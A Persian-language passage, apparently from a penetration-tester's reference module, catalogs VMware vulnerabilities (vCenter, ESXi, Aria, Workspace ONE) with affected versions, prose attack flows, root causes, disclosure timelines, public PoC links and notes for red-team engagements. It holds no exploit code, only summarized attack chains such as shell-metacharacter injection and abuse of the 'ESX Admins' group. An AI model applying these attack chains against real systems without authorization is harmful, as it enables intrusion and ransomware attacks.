  • ‏افشا: گزارش توسط Bruno López از Innotec Security؛ ادوایزوری VMSA-2022-0014 مربوط به VMware منتشرشده ۲۰۲۲-۰۵-۱۸. دستور اضطراری ۲۲-۰۳ مربوط به CISA ‏(۲۰۲۲-۰۵-۱۸) به همه‌ی آژانس‌های غیرنظامی فدرال آمریکا دستور داد نصب‌های VMware درگیر را تا ۲۰۲۲-۰۵-۲۴ پچ یا حذف کنند — همان آژانس‌هایی که شش هفته قبل برای CVE-2022-22954 همین را شنیده بودند. سال کشف ۲۰۲۲، پچ‌شده ۲۰۲۲.
  • ‏مراجع: https://www.vmware.com/security/advisories/VMSA-2022-0014.html ؛ https://www.cisa.gov/news-events/directives/ed-22-03-mitigate-vmware-vulnerabilities ؛ https://www.rapid7.com/blog/post/2022/05/19/cve-2022-22972-critical-authentication-bypass-in-vmware-workspace-one-access-identity-manager-and-vrealize-automation/ ؛ https://www.assetnote.io/resources/research/understanding-cve-2022-22972-vmware-workspace-one-access-auth-bypass

‏### ۶. ‏CVE-2023-20887 — تزریق دستور پیش-احراز در VMware Aria Operations for Networks ‏(vRealize Network Insight) ← RCE

  • ‏درگیر: ‏Aria Operations for Networks ‏(قبلاً vRealize Network Insight / vRNI) نسخه‌های 6.2 تا 6.10.
  • ‏فلوی حمله: زنجیره‌ی دو-مشکلی — ‏(الف) به endpoint مربوط به Apache Thrift افشاشده روی اینترفیس مدیریت برس با اینکه احراز هویت نیست، ‏(ب) متا‌کاراکترهای شل را به پارامتری تزریق کن که به فراخوانی bash -c پاس می‌شود. یک POST ناشناس ← root.
  • ‏علت ریشه‌ای: endpoint مربوط به Thrift RPC بدون auth افشاشده + ترکیب رشته‌ی شل downstream با ورودی کاربر.
  • ‏افشا: گزارش توسط Sina Kheirkhah ‏(@SinSinology) از Summoning Team به ZDI؛ ادوایزوری VMSA-2023-0012 منتشرشده ۲۰۲۳-۰۶-۰۷. ‏PoC عمومی همان هفته آزاد شد. CISA KEV: افزوده‌شده ۲۰۲۳-۰۶-۲۲ بعد از مشاهده‌ی بهره‌برداری in-the-wild. سال کشف ۲۰۲۳، پچ‌شده ۲۰۲۳.
  • ‏مراجع: https://www.vmware.com/security/advisories/VMSA-2023-0012.html ؛ https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-20887/ ؛ https://blogs.juniper.net/en-us/threat-research/cve-2023-20887-vmware-aria-operations-for-networks-unauthenticated-remote-code-execution ؛ https://github.com/sinsinology/CVE-2023-20887

‏### ۷. ‏CVE-2023-34048 — نوشتن out-of-bounds پیش-احراز در DCERPC مربوط به vCenter Server ← RCE ‏(زیروده بهره‌برداری‌شده‌ی APT)

  • ‏درگیر: ‏vCenter Server 7.0 < 7.0 U3o، 8.0 < 8.0 U1d/U2b؛ باندل‌های VMware Cloud Foundation.
  • ‏فلوی حمله: بازیگر شبکه‌ی ناشناس پاکت DCE/RPC دست‌کاری‌شده به سرویس vmdir/vmafd می‌فرستد ← نوشتن out-of-bounds در پیاده‌سازی پروتکل DCE/RPC ← خرابی حافظه ← اجرای کد. علامت فارنزیک: vmdird اندکی قبل از دیپلوی بک‌دور کرش می‌کند.
  • ‏علت ریشه‌ای: نوشتن OOB در لایه‌ی marshalling مربوط به DCE/RPC در سرویس‌های مدیریت vCenter.
  • ‏افشا: گزارش توسط Grigory Dorodnov از Trend Micro ZDI ‏(انتشار ZDI-23-1623، نشان‌دهنده‌ی submission پولی ZDI — بانتی افشانشده). ادوایزوری VMSA-2023-23 منتشرشده ۲۰۲۳-۱۰-۲۴. Mandiant بعداً بهره‌برداری in-the-wild را به UNC3886 ‏(جاسوسی نسبت‌داده‌شده‌به-چین) از اواخر ۲۰۲۱ نسبت داد — پنجره‌ی زیروده ~۱.۵ساله قبل از پچ. CISA KEV: افزوده‌شده ۲۰۲۴-۰۱-۲۲. سال کشف ۲۰۲۳ ‏(پچ‌شده)، بهره‌برداری از ۲۰۲۱.
  • ‏مراجع: https://www.vmware.com/security/advisories/VMSA-2023-0023.html ؛ https://www.zerodayinitiative.com/advisories/ZDI-23-1623/ ؛ https://cloud.google.com/blog/topics/threat-intelligence/chinese-vmware-exploitation-since-2021/ ‏(Mandiant) ؛ https://www.bleepingcomputer.com/news/security/chinese-hackers-exploit-vmware-bug-as-zero-day-for-two-years/

‏### ۸. ‏CVE-2024-37085 — دورزدن auth یکپارچگی Active Directory مربوط به ESXi با گروه «ESX Admins» ‏(محبوب باج‌افزار)

  • ‏درگیر: ‏ESXi 7.0 < ESXi70U3q-24585291، ESXi 8.0 < ESXi80U3-24022510؛ خوشه‌های مدیریت‌شده-با-vCenter جایی که ESXi به AD پیوسته است.
  • ‏فلوی حمله: مهاجم با حقوق کافی AD گروهی به نام دقیق ESX Admins می‌سازد ‏(یا بعد از حذف دوباره می‌سازد) و اکانتی اضافه می‌کند. ‏ESXi به‌صورت خودکار به هر عضو حقوق admin کامل می‌دهد بدون چک وجود گروه هنگام join. سر‌به‌سر: foothold مربوط به AD ← ساخت گروه ← root مربوط به SSH/API روی هر هاست ESXi دامین-جوشده ← رمزگذاری انبوه VM.
  • ‏علت ریشه‌ای: اعتماد هاردکد به نام گروه ESX Admins بدون اعتبارسنجی هویت اسکوپ‌شده‌به-دامین.
  • ‏افشا: گزارش توسط Microsoft Threat Intelligence؛ ادوایزوری VMSA-2024-0013 منتشرشده ۲۰۲۴-۰۶-۲۵. Microsoft Security Blog بهره‌برداری پیش-از-پچ توسط اپراتورهای باج‌افزار Storm-0506 ‏(Black Basta)‏، Storm-1175، Octo Tempest و Manatee Tempest را مستند می‌کند — از جمله دیپلوی تأییدشده‌ی Black Basta در یک شرکت مهندسی آمریکای شمالی. CISA KEV: افزوده‌شده ۲۰۲۴-۰۷-۳۰. سال کشف ۲۰۲۴ ‏(بهره‌برداری به‌عنوان 0-day)، پچ‌شده ۲۰۲۴.
  • ‏مراجع: https://www.vmware.com/security/advisories/VMSA-2024-0013.html ؛ https://www.microsoft.com/en-us/security/blog/2024/07/29/ransomware-operators-exploit-esxi-hypervisor-vulnerability-for-mass-encryption/ ؛ https://www.rapid7.com/blog/post/2024/07/30/vmware-esxi-cve-2024-37085-targeted-in-ransomware-campaigns/ ؛ https://thehackernews.com/2024/07/vmware-esxi-flaw-exploited-by.html

‏### ۹. ‏CVE-2024-22273 — ‏OOB read/write کنترلر استوریج ESXi / Workstation / Fusion / vCenter

  • ‏نوت روی تیکت اصلی: این CVE در brief به‌عنوان «Aria SSRF» لیست شده بود ولی رکورد واقعی NVD توصیف می‌کند read/write مربوط به out-of-bounds کنترلر استوریج ESXi/vCenter، نه Aria SSRF. نزدیک‌ترین مسئله‌ی مجاور Aria SSRF در چرخه‌ی ۲۰۲۴ CVE-2023-34063 است ‏(VMSA-2024-0001) — نبود کنترل دسترسی Aria Automation که دسترسی بین-سازمانی احرازشده می‌دهد؛ ‏CVSSv3 9.9. هر دو استناد شده‌اند تا ماتریس فنّی دقیق بماند.
  • ‏درگیر ‏(CVE-2024-22273): ‏ESXi 7.0/8.0، Workstation 17.x، Fusion 13.x. واریانت‌های بسته‌بندی‌شده‌ی vCenter Server. به دسترسی VM-local با کنترلرهای استوریج فعال نیاز دارد.
  • ‏فلوی حمله: ‏VM با کنترلرهای استوریج فعال می‌تواند I/O دست‌کاری‌شده برای تریگر OOB read/write روی هاست صادر کند ← افشای اطلاعات یا DoS هاست ‏(فرار مستقیم نشان‌داده‌نشده). ‏CVSS 8.1 ‏(Important).
  • ‏علت ریشه‌ای: چک bounds مفقود در مسیر emulation کنترلر استوریج.
  • ‏افشا: گزارش توسط Hao Zheng ‏(@zhz) و Jiaqing Huang ‏(@s0duku) از TianGong Team، Legendsec @ Qi'anxin Group. ادوایزوری VMSA-2024-0011 منتشرشده ۲۰۲۴-۰۵-۲۱. سال کشف ۲۰۲۴، پچ‌شده ۲۰۲۴.
  • ‏مراجع: https://www.vmware.com/security/advisories/VMSA-2024-0011.html ؛ https://nvd.nist.gov/vuln/detail/CVE-2024-22273 ؛ https://www.rapid7.com/db/vulnerabilities/vmsa-2024-0011-cve-2024-22273/
  • ‏همراه Aria-مخصوص — CVE-2023-34063 ‏(VMSA-2024-0001): نبود کنترل دسترسی در Aria Automation 8.11.x–8.14.x — بازیگر احرازشده دسترسی غیرمجاز بین-سازمانی به workflowهای ریموت می‌گیرد. ‏CVSSv3 9.9. پچ‌شده در Aria Automation 8.16. مراجع: https://www.vmware.com/security/advisories/VMSA-2024-0001.html ؛ https://www.cisa.gov/news-events/alerts/2024/01/17/vmware-releases-security-advisory-aria-automation

‏### ۱۰. ‏CVE-2020-3992 + CVE-2021-21974 — ‏use-after-free / سرریز heap پیش-احراز در OpenSLP مربوط به ESXi ‏(وکتور باج‌افزار ESXiArgs)

  • ‏درگیر: ‏ESXi 6.5، 6.7، 7.0 قبل از پچ‌های OpenSLP ‏(ESXi70U1c-17325551 / ESXi670-202102401-SG / ESXi650-202102101-SG). سرویس OpenSLP روی TCP/427.
  • ‏فلوی حمله: مهاجم ناشناس پاکت SLP دست‌کاری‌شده به پورت ۴۲۷ می‌فرستد ← خرابی حافظه در daemon مربوط به SLP ← اجرای کد به‌عنوان root روی هایپروایزر. ‏CVE-2020-3992 مورد use-after-free است ‏(VMSA-2020-0023)؛ ‏CVE-2021-21974 واریانت heap-overflow است ‏(VMSA-2021-0002، همان موج انتشار 21972).
  • ‏علت ریشه‌ای: daemon مربوط به OpenSLP — مدت‌ها منسوخ‌شده، تا ۲۰۲۱ به‌صورت پیش‌فرض افشاشده — parse ناامن فریم‌های پیام SLP دارد.
  • ‏افشا: ‏CVE-2020-3992 گزارش توسط Lucas Leong از Trend Micro ZDI ‏(ZDI-20-1376، submission پولی ZDI). ‏CVE-2021-21974 هم گزارش توسط Lucas Leong از Trend Micro ZDI. CISA KEV: ‏CVE-2020-3992 افزوده‌شده ۲۰۲۱-۱۱-۰۳؛ ‏CVE-2021-21974 افزوده‌شده ۲۰۲۳-۰۲-۰۸. کمپین باج‌افزار ESXiArgs ‏(فوریه‌ی ۲۰۲۳) ~۳٬۸۰۰ هاست اینترنت-افشاشده را از طریق CVE-2021-21974 زد — دو سال بعد از موجود‌بودن پچ. VMware در ریلیزهای بعدی SLP را پیش‌فرض غیرفعال کرد. سال کشف ۲۰۲۰/۲۰۲۱، پچ‌شده ۲۰۲۰/۲۰۲۱، بهره‌برداری انبوه ۲۰۲۳.
  • ‏مراجع: https://www.vmware.com/security/advisories/VMSA-2020-0023.html ؛ https://www.vmware.com/security/advisories/VMSA-2021-0002.html ؛ https://www.zerodayinitiative.com/advisories/ZDI-20-1376/ ؛ https://www.cisa.gov/known-exploited-vulnerabilities-catalog ؛ https://www.bleepingcomputer.com/news/security/massive-esxiargs-ransomware-attack-targets-vmware-esxi-servers-worldwide/ ؛ https://www.recordedfuture.com/blog/esxiargs-ransomware-targets-vmware-esxi-openslp-servers

‏### جایزه: ‏CVE-2022-31656 — دورزدن auth در Workspace ONE Access / Identity Manager / vRealize Automation ‏(پیگیری بعد-از-22972)

  • ‏درگیر: همان ماتریس محصول 22954/22972. ‏Workspace ONE Access 21.08.x؛ Identity Manager 3.3.3–3.3.6؛ vRealize Automation 7.6.
  • ‏فلوی حمله: بازیگر فقط-شبکه‌ای بدون احراز admin می‌گیرد؛ با CVE-2022-31659 ‏(RCE احرازشده) زنجیره‌شده، جفتشان admin RCE پیش-احراز می‌دهند — جانشین معنوی جفت 22954+22972.
  • ‏علت ریشه‌ای: فلوی auth دامنه‌محلی به پارامتری اعتماد می‌کرد که بدون auth قبلی قابل‌تأمین بود.
  • ‏افشا: گزارش توسط PetrusViet از VNG Security؛ ادوایزوری VMSA-2022-0021 منتشرشده ۲۰۲۲-۰۸-۰۲. ‏PetrusViet نوشته‌ی زنجیره + PoC آزاد کرد. سال ۲۰۲۲.
  • ‏مراجع: https://www.vmware.com/security/advisories/VMSA-2022-0021.html ؛ https://www.greynoise.io/blog/vmware-workspace-one-vulnerabilities-cve-2022-31656-and-cve-2022-31659 ؛ https://attackerkb.com/topics/RuMGC8Q1pE/cve-2022-31656
۲۰

ابزار و نکات عملیاتی

Key meta-references (cross-CVE)
ترجمه‌ی کامل ✓بخش ۲۰ از ۲۰

ابزارهای کمکی، نصب، خروجی‌های مورد انتظار و یادداشت‌های اپراتور

  • ‏کاتالوگ CISA KEV ‏(فیلتر VMware): https://www.cisa.gov/known-exploited-vulnerabilities-catalog?search_api_fulltext=vmware — ‏VMware یکی از پرحضورترین وندورهاست؛ هر یافته‌ی vCenter/ESXi/Workspace را قبل از درجه‌بندی شدت اینجا ارجاع متقابل کن.
  • ‏ایندکس ادوایزوری‌های Broadcom ‏(سابقاً VMware): https://support.broadcom.com/security-advisories ‏(قدیمی: https://www.vmware.com/security/advisories.html). با الگوی VMSA-YYYY-NNNN جست‌وجو کن.
  • ‏ادوایزوری‌های منتشرشده‌ی ZDI: https://www.zerodayinitiative.com/advisories/published/ — «VMware» را فیلتر کن برای افشاگری‌های کانونیک بانتی-پولی ‏(CVE-2020-3992، CVE-2023-34048، چند Aria Operations و vRNI).
  • ‏گزارش‌دهی Mandiant UNC3886: ‏Google Cloud Threat Intelligence عمیق‌ترین رد فارنزیک منتشرشده روی بهره‌برداری زیروده دیردمت vCenter را دارد. وقتی روی تارگتی کار می‌کنی که vCenter قابل‌دسترس است با اسکیل mid-engagement-ir-detection جفت کن.

‏الگوی مشترک همه‌ی مدخل‌های بالا: CVEهای صفحه‌ی مدیریت VMware پیش-احراز، شبکه-قابل‌دسترس و ظرف روزهای پس از پچ بهره‌برداری انبوه می‌شوند. وقتی recon بیرونی هرکدام از این محصولات را در سطح پچ «یک-عقب‌از-جاری» برمی‌دارد، آن یافته‌ی Critical ارزش فراخوان همان‌روز در deliverable را دارد — نه info-disclosure مربوط به Medium.

اسکیل‌های مرتبط: